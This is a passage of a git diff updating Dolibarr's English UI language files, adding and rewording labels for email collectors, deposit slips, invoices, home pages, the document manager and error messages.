      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Highlight table lines when mouse move passes over @@ -2118,6 +2143,7 @@ CodeLastResult=Latest result code NbOfEmailsInInbox=Number of emails in source directory LoadThirdPartyFromName=Load third party searching on %s (load only) LoadThirdPartyFromNameOrCreate=Load third party searching on %s (create if not found) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=Message from a conversation initiated by a first email sent from Dolibarr WithoutDolTrackingID=Message from a conversation initiated by a first email NOT sent from Dolibarr @@ -2127,7 +2153,7 @@ CreateCandidature=Create job application FormatZip=Zip MainMenuCode=Menu entry code (mainmenu) ECMAutoTree=Show automatic ECM tree -OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\s*([^\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\s([^\s]*)

      Use a ; char as separator to extract or set several properties. +OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. OpeningHours=Opening hours OpeningHoursDesc=Enter here the regular opening hours of your company. ResourceSetup=Configuration of Resource module @@ -2173,7 +2199,7 @@ LargerThan=Larger than IfTrackingIDFoundEventWillBeLinked=Note that If a tracking ID of an object is found into email, or if the email is an answer of an email aready collected and linked to an object, the created event will be automatically linked to the known related object. WithGMailYouCanCreateADedicatedPassword=With a GMail account, if you enabled the 2 steps validation, it is recommanded to create a dedicated second password for the application instead of using your own account passsword from https://myaccount.google.com/. EmailCollectorTargetDir=It may be a desired behaviour to move the email into another tag/directory when it was processed successfully. Just set name of directory here to use this feature (Do NOT use special characters in name). Note that you must also use a read/write login account. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\s([^\s]*);client=SET:2;'
      +EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database (search will be done on the defined property among 'id','name','name_alias','email'). The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      EndPointFor=End point for %s : %s DeleteEmailCollector=Delete email collector ConfirmDeleteEmailCollector=Are you sure you want to delete this email collector? @@ -2192,6 +2218,7 @@ ShowProjectLabel=Project Label PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=If you want to have some texts in your PDF duplicated in 2 different languages in the same generated PDF, you must set here this second language so generated PDF will contains 2 different languages in same page, the one chosen when generating PDF and this one (only few PDF templates support this). Keep empty for 1 language per PDF. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=Enter here the code of a FontAwesome icon. If you don't know what is FontAwesome, you can use the generic value fa-address-book. @@ -2220,12 +2247,12 @@ MailToPartnership=Partnership AGENDA_EVENT_DEFAULT_STATUS=Default event status when creating a event from the form YouShouldDisablePHPFunctions=You should disable PHP functions IfCLINotRequiredYouShouldDisablePHPFunctions=Except if you need to run system commands in custom code, you shoud disable PHP functions -PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an anitivurs program), you must keep PHP functions +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=No writable files or directories of the common programs were found into your root directory (Good) RecommendedValueIs=Recommended: %s Recommended=Recommended NotRecommended=Not recommended -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Check for external modules updates CheckForModuleUpdateHelp=This action will connect to editors of external modules to check if a new version is available. ModuleUpdateAvailable=An update is available @@ -2239,6 +2266,8 @@ DatabasePasswordNotObfuscated=Database password is NOT obfuscated in conf file APIsAreNotEnabled=APIs modules are not enabled YouShouldSetThisToOff=You should set this to 0 or off InstallAndUpgradeLockedBy=Install and upgrades are locked by the file %s +InstallLockedBy=Install/Reinstall is locked by the file %s +InstallOfAddonIsNotBlocked=Installations of addons are not locked. Create a file installmodules.lock into directory %s to block installations of external addons/modules. OldImplementation=Old implementation PDF_SHOW_LINK_TO_ONLINE_PAYMENT=If some online payment modules are enabled (Paypal, Stripe, ...), add a link on the PDF to make the online payment DashboardDisableGlobal=Disable globally all the thumbs of open objects @@ -2276,7 +2305,7 @@ ExportUseLowMemoryMode=Use a low memory mode ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Settings WebhookSetupPage = Webhook setup page @@ -2297,6 +2326,8 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one DarkThemeMode=Dark theme mode @@ -2316,7 +2347,7 @@ UsePassword=Use a password UseOauth=Use a OAUTH token Images=Images MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form -MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with an IP Address +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: ScriptIsEmpty=The script is empty ShowHideTheNRequests=Show/hide the %s SQL request(s) @@ -2338,3 +2369,15 @@ DesktopsOnly=Desktops only DesktopsAndSmartphones=Desktops et smartphones AllowOnlineSign=Allow online signing AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) +NotAvailableByDefaultEnabledOnModuleActivation=Not created by default. Created on module activation only. +CSSPage=CSS Style diff --git a/htdocs/langs/en_US/agenda.lang b/htdocs/langs/en_US/agenda.lang index 4eca4b1734a..adc9c4177ad 100644 --- a/htdocs/langs/en_US/agenda.lang +++ b/htdocs/langs/en_US/agenda.lang @@ -68,6 +68,7 @@ ShipmentBackToDraftInDolibarr=Shipment %s go back to draft status ShipmentDeletedInDolibarr=Shipment %s deleted ShipmentCanceledInDolibarr=Shipment %s canceled ReceptionValidatedInDolibarr=Reception %s validated +ReceptionDeletedInDolibarr=Reception %s deleted ReceptionClassifyClosedInDolibarr=Reception %s classified closed OrderCreatedInDolibarr=Order %s created OrderValidatedInDolibarr=Order %s validated @@ -176,5 +177,6 @@ ReminderType=Callback type AddReminder=Create an automatic reminder notification for this event ErrorReminderActionCommCreation=Error creating the reminder notification for this event BrowserPush=Browser Popup Notification +Reminders=Reminders ActiveByDefault=Enabled by default -Until=until \ No newline at end of file +Until=until diff --git a/htdocs/langs/en_US/banks.lang b/htdocs/langs/en_US/banks.lang index 10ba859e71f..2c895b48034 100644 --- a/htdocs/langs/en_US/banks.lang +++ b/htdocs/langs/en_US/banks.lang @@ -49,6 +49,9 @@ BankAccountDomiciliation=Bank address BankAccountCountry=Account country BankAccountOwner=Account owner name BankAccountOwnerAddress=Account owner address +BankAccountOwnerZip=Account owner zip +BankAccountOwnerTown=Account owner town +BankAccountOwnerCountry=Account owner country CreateAccount=Create account NewBankAccount=New account NewFinancialAccount=New financial account @@ -117,6 +120,7 @@ ValidateCheckReceipt=Validate this check receipt? ConfirmValidateCheckReceipt=Are you sure that you want to submit this check receipt for validation? No changes will be possible once validated. DeleteCheckReceipt=Delete this check receipt? ConfirmDeleteCheckReceipt=Are you sure you want to delete this check receipt? +DocumentsForDeposit=Documents to deposit at the bank BankChecks=Bank checks BankChecksToReceipt=Checks awaiting deposit BankChecksToReceiptShort=Checks awaiting deposit @@ -142,6 +146,7 @@ BackToAccount=Back to account ShowAllAccounts=Show for all accounts FutureTransaction=Future transaction. Unable to reconcile. SelectChequeTransactionAndGenerate=Select/filter the checks which are to be included in the check deposit receipt. Then, click on "Create". +SelectPaymentTransactionAndGenerate=Select/filter the documents which are to be included in the %s deposit receipt. Then, click on "Create". InputReceiptNumber=Choose the bank statement related with the conciliation. Use a sortable numeric value: YYYYMM or YYYYMMDD EventualyAddCategory=Eventually, specify a category in which to classify the records ToConciliate=To reconcile? diff --git a/htdocs/langs/en_US/bills.lang b/htdocs/langs/en_US/bills.lang index f13baf06446..798ba129288 100644 --- a/htdocs/langs/en_US/bills.lang +++ b/htdocs/langs/en_US/bills.lang @@ -162,6 +162,7 @@ ErrorThisPartOrAnotherIsAlreadyUsedSoDiscountSerieCantBeRemoved=This part or ano ErrorInvoiceIsNotLastOfSameType=Error: The date of invoice %s is %s. It must be posterior or equal to last date for same type invoices (%s). Please change the invoice date. BillFrom=From BillTo=To +ShippingTo=Shipping to ActionsOnBill=Actions on invoice RecurringInvoiceTemplate=Template / Recurring invoice NoQualifiedRecurringInvoiceTemplateFound=No recurring template invoice qualified for generation. @@ -449,7 +450,7 @@ ErrorPaymentConditionsNotEligibleToDepositCreation=The chose payment conditions PaymentTypeVIR=Bank transfer PaymentTypeShortVIR=Bank transfer PaymentTypePRE=Direct debit payment order -PaymentTypePREdetails=(on account *-%s) +PaymentTypePREdetails=(on account %s...) PaymentTypeShortPRE=Debit payment order PaymentTypeLIQ=Cash PaymentTypeShortLIQ=Cash @@ -508,13 +509,14 @@ UseLine=Apply UseDiscount=Use discount UseCredit=Use credit UseCreditNoteInInvoicePayment=Reduce amount to pay with this credit -MenuChequeDeposits=Check Deposits +MenuChequeDeposits=Deposits slips MenuCheques=Checks -MenuChequesReceipts=Check receipts -NewChequeDeposit=New deposit -ChequesReceipts=Check receipts -ChequesArea=Check deposits area -ChequeDeposits=Check deposits +MenuChequesReceipts=Deposit slips +NewChequeDeposit=New deposit slip +ChequesReceipts=Cheque deposit slips +DocumentsDepositArea=Deposit slip area +ChequesArea=Deposit slips area +ChequeDeposits=Deposit slips Cheques=Checks DepositId=Id deposit NbCheque=Number of checks @@ -625,3 +627,8 @@ PaymentRegisteredAndInvoiceSetToPaid=Payment registered and invoice %s set to pa SendEmailsRemindersOnInvoiceDueDate=Send reminder by email for unpaid invoices MakePaymentAndClassifyPayed=Record payment BulkPaymentNotPossibleForInvoice=Bulk payment is not possible for invoice %s (bad type or status) +MentionVATDebitOptionIsOn=Option to pay tax based on debits +MentionCategoryOfOperations=Category of operations +MentionCategoryOfOperations0=Delivery of goods +MentionCategoryOfOperations1=Provision of services +MentionCategoryOfOperations2=Mixed - Delivery of goods & provision of services diff --git a/htdocs/langs/en_US/bookmarks.lang b/htdocs/langs/en_US/bookmarks.lang index 26551eee4f0..bfbab1ef520 100644 --- a/htdocs/langs/en_US/bookmarks.lang +++ b/htdocs/langs/en_US/bookmarks.lang @@ -1,23 +1,24 @@ -# Dolibarr language file - Source file is en_US - marque pages -AddThisPageToBookmarks=Add current page to bookmarks -Bookmark=Bookmark -Bookmarks=Bookmarks -ListOfBookmarks=List of bookmarks -EditBookmarks=List/edit bookmarks -NewBookmark=New bookmark -ShowBookmark=Show bookmark -OpenANewWindow=Open a new tab -ReplaceWindow=Replace current tab -BookmarkTargetNewWindowShort=New tab -BookmarkTargetReplaceWindowShort=Current tab -BookmarkTitle=Bookmark name -UrlOrLink=URL -BehaviourOnClick=Behaviour when a bookmark URL is selected -CreateBookmark=Create bookmark -SetHereATitleForLink=Set a name for the bookmark -UseAnExternalHttpLinkOrRelativeDolibarrLink=Use an external/absolute link (https://externalurl.com) or an internal/relative link (/mypage.php). You can also use phone like tel:0123456. -ChooseIfANewWindowMustBeOpenedOnClickOnBookmark=Choose if the linked page should open in the current tab or a new tab -BookmarksManagement=Bookmarks management -BookmarksMenuShortCut=Ctrl + shift + m -NoBookmarks=No bookmarks defined -NoBookmarkFound=No bookmark found \ No newline at end of file +# Dolibarr language file - Source file is en_US - marque pages / bookmarks + +AddThisPageToBookmarks = Add current page to bookmarks +BehaviourOnClick = Behaviour when a bookmark URL is selected +Bookmark = Bookmark +Bookmarks = Bookmarks +BookmarkTargetNewWindowShort = New tab +BookmarkTargetReplaceWindowShort = Current tab +BookmarkTitle = Bookmark name +BookmarksManagement = Bookmarks management +BookmarksMenuShortCut = Ctrl + shift + m +ChooseIfANewWindowMustBeOpenedOnClickOnBookmark = Choose if the linked page should open in the current tab or a new tab +CreateBookmark = Create bookmark +EditBookmarks = List/edit bookmarks +ListOfBookmarks = List of bookmarks +NewBookmark = New bookmark +NoBookmarkFound = No bookmark found +NoBookmarks = No bookmarks defined +OpenANewWindow = Open a new tab +ReplaceWindow = Replace current tab +SetHereATitleForLink = Set a name for the bookmark +ShowBookmark = Show bookmark +UrlOrLink = URL +UseAnExternalHttpLinkOrRelativeDolibarrLink = Use an external/absolute link (https://externalurl.com) or an internal/relative link (/mypage.php). You can also use phone like tel:0123456. diff --git a/htdocs/langs/en_US/boxes.lang b/htdocs/langs/en_US/boxes.lang index 4173d5e4c7e..03840b9fab8 100644 --- a/htdocs/langs/en_US/boxes.lang +++ b/htdocs/langs/en_US/boxes.lang @@ -24,6 +24,7 @@ BoxFicheInter=Latest interventions BoxCurrentAccounts=Open accounts balance BoxTitleMemberNextBirthdays=Birthdays of this month (members) BoxTitleMembersByType=Members by type and status +BoxTitleMembersByTags=Members by tags and status BoxTitleMembersSubscriptionsByYear=Members Subscriptions by year BoxTitleLastRssInfos=Latest %s news from %s BoxTitleLastProducts=Products/Services: last %s modified @@ -44,9 +45,10 @@ BoxTitleSupplierOrdersAwaitingReception=Supplier orders awaiting reception BoxTitleLastModifiedContacts=Contacts/Addresses: last %s modified BoxMyLastBookmarks=Bookmarks: latest %s BoxOldestExpiredServices=Oldest active expired services +BoxOldestActions=Oldest events to do BoxLastExpiredServices=Latest %s oldest contacts with active expired services BoxTitleLastActionsToDo=Latest %s actions to do -BoxTitleOldestActionsToDo=Oldest %s event to do not completed +BoxTitleOldestActionsToDo=Oldest %s events to do, not completed BoxTitleLastContracts=Latest %s contracts which were modified BoxTitleLastModifiedDonations=Latest %s donations which were modified BoxTitleLastModifiedExpenses=Latest %s expense reports which were modified @@ -116,6 +118,27 @@ BoxCustomersOutstandingBillReached=Customers with oustanding limit reached UsersHome=Home users and groups MembersHome=Home Membership ThirdpartiesHome=Home Thirdparties +productindex=Home products and services +mrpindex=Home MRP +commercialindex=Home commercial +projectsindex=Home projects +invoiceindex=Home invoices +hrmindex=Home invoices TicketsHome=Home Tickets +stockindex=Home stocks +sendingindex=Home shippings +receptionindex=Home receivings +activityindex=Home activity +proposalindex=Home proposal +ordersindex=Home sale orders +orderssuppliersindex=Home purchase orders +contractindex=Home contracts +interventionindex=Home interventions +suppliersproposalsindex=Home suppliers proposals +donationindex=Home donations +specialexpensesindex=Home specials expenses +expensereportindex=Home expensereport +mailingindex=Home mailing +opensurveyindex=Home opensurvey AccountancyHome=Home Accountancy ValidatedProjects=Validated projects diff --git a/htdocs/langs/en_US/companies.lang b/htdocs/langs/en_US/companies.lang index e022c7cb09f..e17c7bcb90e 100644 --- a/htdocs/langs/en_US/companies.lang +++ b/htdocs/langs/en_US/companies.lang @@ -312,8 +312,8 @@ CustomerRelativeDiscountShort=Relative discount CustomerAbsoluteDiscountShort=Absolute discount CompanyHasRelativeDiscount=This customer has a default discount of %s%% CompanyHasNoRelativeDiscount=This customer has no relative discount by default -HasRelativeDiscountFromSupplier=You have a default discount of %s%% from this vendor -HasNoRelativeDiscountFromSupplier=No default relative discount from this vendor +HasRelativeDiscountFromSupplier=You have a default discount of %s%% with this vendor +HasNoRelativeDiscountFromSupplier=No default relative discount with this vendor CompanyHasAbsoluteDiscount=This customer has discounts available (credits notes or down payments) for %s %s CompanyHasDownPaymentOrCommercialDiscount=This customer has discounts available (commercial, down payments) for %s %s CompanyHasCreditNote=This customer still has credit notes for %s %s @@ -499,4 +499,8 @@ OutOfEurope=Out of Europe (EEC) CurrentOutstandingBillLate=Current outstanding bill late BecarefullChangeThirdpartyBeforeAddProductToInvoice=Be carefull, depending on your product price settings, you should change thirdparty before adding product to POS. EmailAlreadyExistsPleaseRewriteYourCompanyName=email already exists please rewrite your company name -TwoRecordsOfCompanyName=more than one record exists for this company please contact us to complete your partnership request" \ No newline at end of file +TwoRecordsOfCompanyName=more than one record exists for this company, please contact us to complete your partnership request +CompanySection=Company section +ShowSocialNetworks=Show social networks +HideSocialNetworks=Hide social networks + diff --git a/htdocs/langs/en_US/compta.lang b/htdocs/langs/en_US/compta.lang index 82ef7f0be9a..1112d4647bb 100644 --- a/htdocs/langs/en_US/compta.lang +++ b/htdocs/langs/en_US/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Balance (before) Balance=Balance Debit=Debit Credit=Credit +AccountingDebit=Debit +AccountingCredit=Credit Piece=Accounting Doc. AmountHTVATRealReceived=Net collected AmountHTVATRealPaid=Net paid @@ -128,14 +130,17 @@ SalesTurnoverMinimum=Minimum turnover ByExpenseIncome=By expenses & incomes ByThirdParties=By third parties ByUserAuthorOfInvoice=By invoice author -CheckReceipt=Check deposit -CheckReceiptShort=Check deposit -LastCheckReceiptShort=Latest %s check receipts +CheckReceipt=Deposit slip +CheckReceiptShort=Deposit slip +LastCheckReceiptShort=Latest %s deposit slips +LastPaymentForDepositShort=Latest %s %s deposit slips NewCheckReceipt=New discount -NewCheckDeposit=New check deposit +NewCheckDeposit=New deposit slip NewCheckDepositOn=Create receipt for deposit on account: %s NoWaitingChecks=No checks awaiting deposit. +NoWaitingPaymentForDeposit=No %s payment awaiting deposit. DateChequeReceived=Check receiving date +DatePaymentReceived=Date of document reception NbOfCheques=No. of checks PaySocialContribution=Pay a social/fiscal tax PayVAT=Pay a VAT declaration @@ -154,9 +159,10 @@ ConfirmDeleteVariousPayment=Are you sure you want to delete this various payment ExportDataset_tax_1=Social and fiscal taxes and payments CalcModeVATDebt=Mode %sVAT on commitment accounting%s. CalcModeVATEngagement=Mode %sVAT on incomes-expenses%s. -CalcModeDebt=Analysis of known recorded documents even if they are not yet accounted in ledger. -CalcModeEngagement=Analysis of known recorded payments, even if they are not yet accounted in Ledger. +CalcModeDebt=Analysis of known recorded documents +CalcModeEngagement=Analysis of known recorded payments CalcModeBookkeeping=Analysis of data journalized in Bookkeeping Ledger table. +CalcModeNoBookKeeping=Even if they are not yet accounted in Ledger CalcModeLT1= Mode %sRE on customer invoices - suppliers invoices%s CalcModeLT1Debt=Mode %sRE on customer invoices%s CalcModeLT1Rec= Mode %sRE on suppliers invoices%s @@ -244,12 +250,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=The report of Turnover colle TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=The report of Turnover collected per sale tax rate is not available. This report is only available for turnover invoiced. CalculationMode=Calculation mode AccountancyJournal=Accounting code journal -ACCOUNTING_VAT_SOLD_ACCOUNT=Accounting account by default for VAT on sales (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_BUY_ACCOUNT=Accounting account by default for VAT on purchases (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_PAY_ACCOUNT=Accounting account by default for paying VAT -ACCOUNTING_ACCOUNT_CUSTOMER=Accounting account used for customer third parties +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated customer accounting account on third party is not defined. -ACCOUNTING_ACCOUNT_SUPPLIER=Accounting account used for vendor third parties +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated vendor accounting account on third party is not defined. ConfirmCloneTax=Confirm the clone of a social/fiscal tax ConfirmCloneVAT=Confirm the clone of a VAT declaration diff --git a/htdocs/langs/en_US/contracts.lang b/htdocs/langs/en_US/contracts.lang index ab94a63bcc3..6b83094fabe 100644 --- a/htdocs/langs/en_US/contracts.lang +++ b/htdocs/langs/en_US/contracts.lang @@ -2,7 +2,7 @@ ContractsArea=Contracts area ListOfContracts=List of contracts AllContracts=All contracts -ContractCard=Contract card +ContractCard=Contract ContractStatusNotRunning=Not running ContractStatusDraft=Draft ContractStatusValidated=Validated diff --git a/htdocs/langs/en_US/dict.lang b/htdocs/langs/en_US/dict.lang index 00ab5a05f24..e3b159e50de 100644 --- a/htdocs/langs/en_US/dict.lang +++ b/htdocs/langs/en_US/dict.lang @@ -247,6 +247,7 @@ CountryJE=Jersey CountryME=Montenegro CountryBL=Saint Barthelemy CountryMF=Saint Martin +CountryXK=Kosovo ##### Civilities ##### CivilityMME=Mrs. diff --git a/htdocs/langs/en_US/ecm.lang b/htdocs/langs/en_US/ecm.lang index 494a6c55164..4ef0bb2f0b9 100644 --- a/htdocs/langs/en_US/ecm.lang +++ b/htdocs/langs/en_US/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Manual directory ECMSectionAuto=Automatic directory ECMSectionsManual=Manual tree ECMSectionsAuto=Automatic tree +ECMSectionsMedias=Medias tree ECMSections=Directories ECMRoot=ECM Root ECMNewSection=New directory @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Number of files in sub-directories ECMCreationUser=Creator ECMArea=DMS/ECM area ECMAreaDesc=The DMS/ECM (Document Management System / Electronic Content Management) area allows you to save, share and search quickly all kind of documents in Dolibarr. -ECMAreaDesc2=* Automatic directories are filled automatically when adding documents from card of an element.
      * Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files for the emailing or website module for example. ECMSectionWasRemoved=Directory %s has been deleted. ECMSectionWasCreated=Directory %s has been created. ECMSearchByKeywords=Search by keywords @@ -44,6 +47,10 @@ ECMSetup=ECM Setup GenerateImgWebp=Duplicate all images with another version with .webp format ConfirmGenerateImgWebp=If you confirm, you will generate an image in .webp format for all images currently into this folder (subfolders are not included)... ConfirmImgWebpCreation=Confirm all images duplication +GenerateChosenImgWebp=Duplicate chosen image with another version with .webp format +ConfirmGenerateChosenImgWebp=If you confirm, you will generate an image in .webp format for the image +ConfirmChosenImgWebpCreation=Confirm chosen images duplication SucessConvertImgWebp=Images successfully duplicated +SucessConvertChosenImgWebp=Chosen image successfully duplicated ECMDirName=Dir name ECMParentDirectory=Parent directory diff --git a/htdocs/langs/en_US/errors.lang b/htdocs/langs/en_US/errors.lang index 860ae75e604..6c07dc05e98 100644 --- a/htdocs/langs/en_US/errors.lang +++ b/htdocs/langs/en_US/errors.lang @@ -97,7 +97,7 @@ ErrorWrongValueForField=Field %s: '%s' does not match regex rule < ErrorHtmlInjectionForField=Field %s: The value '%s' contains a malicious data not allowed ErrorFieldValueNotIn=Field %s: '%s' is not a value found in field %s of %s ErrorFieldRefNotIn=Field %s: '%s' is not a %s existing ref -ErrorMultipleRecordFoundFromRef=Several record found when searching from ref %s. No way to know which ID to use. +ErrorMultipleRecordFoundFromRef=Several record found when searching from ref %s. No way to know which ID to use. ErrorsOnXLines=%s errors found ErrorFileIsInfectedWithAVirus=The antivirus program was not able to validate the file (file might be infected by a virus) ErrorNumRefModel=A reference exists into database (%s) and is not compatible with this numbering rule. Remove record or renamed reference to activate this module. @@ -244,11 +244,12 @@ ErrorObjectMustHaveStatusActiveToBeDisabled=Objects must have status 'Active' to ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Objects must have status 'Draft' or 'Disabled' to be enabled ErrorNoFieldWithAttributeShowoncombobox=No fields has property 'showoncombobox' into definition of object '%s'. No way to show the combolist. ErrorFieldRequiredForProduct=Field '%s' is required for product %s +AlreadyTooMuchPostOnThisIPAdress=You have already posted too much on this IP address. ProblemIsInSetupOfTerminal=Problem is in setup of terminal %s. ErrorAddAtLeastOneLineFirst=Add at least one line first ErrorRecordAlreadyInAccountingDeletionNotPossible=Error, record is already transferred in accounting, deletion is not possible. ErrorLanguageMandatoryIfPageSetAsTranslationOfAnother=Error, language is mandatory if you set the page as a translation of another one. -ErrorLanguageOfTranslatedPageIsSameThanThisPage=Error, language of translated page is same than this one. +ErrorLanguageOfTranslatedPageIsSameThanThisPage=Error, language of translated page is same than this one. ErrorBatchNoFoundForProductInWarehouse=No lot/serial found for product "%s" in warehouse "%s". ErrorBatchNoFoundEnoughQuantityForProductInWarehouse=No enough quantity for this lot/serial for product "%s" in warehouse "%s". ErrorOnlyOneFieldForGroupByIsPossible=Only 1 field for the 'Group by' is possible (others are discarded) @@ -261,6 +262,7 @@ ErrorParameterMustBeEnabledToAllwoThisFeature=Error, parameter %s must be ErrorLoginDateValidity=Error, this login is outside the validity date range ErrorValueLength=Length of field '%s' must be higher than '%s' ErrorReservedKeyword=The word '%s' is a reserved keyword +ErrorFilenameReserved=The filename %s can't be used as it is a reserved and protected command. ErrorNotAvailableWithThisDistribution=Not available with this distribution ErrorPublicInterfaceNotEnabled=Public interface was not enabled ErrorLanguageRequiredIfPageIsTranslationOfAnother=The language of new page must be defined if it is set as a translation of another page @@ -279,13 +281,13 @@ ErrorWrongFileName=Name of the file cannot have __SOMETHING__ in it ErrorNotInDictionaryPaymentConditions=Not in Payment Terms Dictionary, please modify. ErrorIsNotADraft=%s is not a draft ErrorExecIdFailed=Can't execute command "id" -ErrorBadCharIntoLoginName=Unauthorized character in the login name -ErrorRequestTooLarge=Error, request too large -ErrorNotApproverForHoliday=You are not the approver for leave %s +ErrorBadCharIntoLoginName=Unauthorized character in the field %s +ErrorRequestTooLarge=Error, request too large or session expired +ErrorNotApproverForHoliday=You are not the approver for leave %s ErrorAttributeIsUsedIntoProduct=This attribute is used in one or more product variants ErrorAttributeValueIsUsedIntoProduct=This attribute value is used in one or more product variants ErrorPaymentInBothCurrency=Error, all amounts must be entered in the same column -ErrorYouTryToPayInvoicesInACurrencyFromBankWithAnotherCurrency=You try to pay invoices in the currency %s from an account with the currency %s +ErrorYouTryToPayInvoicesInACurrencyFromBankWithAnotherCurrency=You try to pay invoices in the currency %s from an account with the currency %s ErrorInvoiceLoadThirdParty=Can't load third-party object for invoice "%s" ErrorInvoiceLoadThirdPartyKey=Third-party key "%s" no set for invoice "%s" ErrorDeleteLineNotAllowedByObjectStatus=Delete line is not allowed by current object status @@ -294,13 +296,22 @@ ErrorThirpdartyOrMemberidIsMandatory=Third party or Member of partnership is man 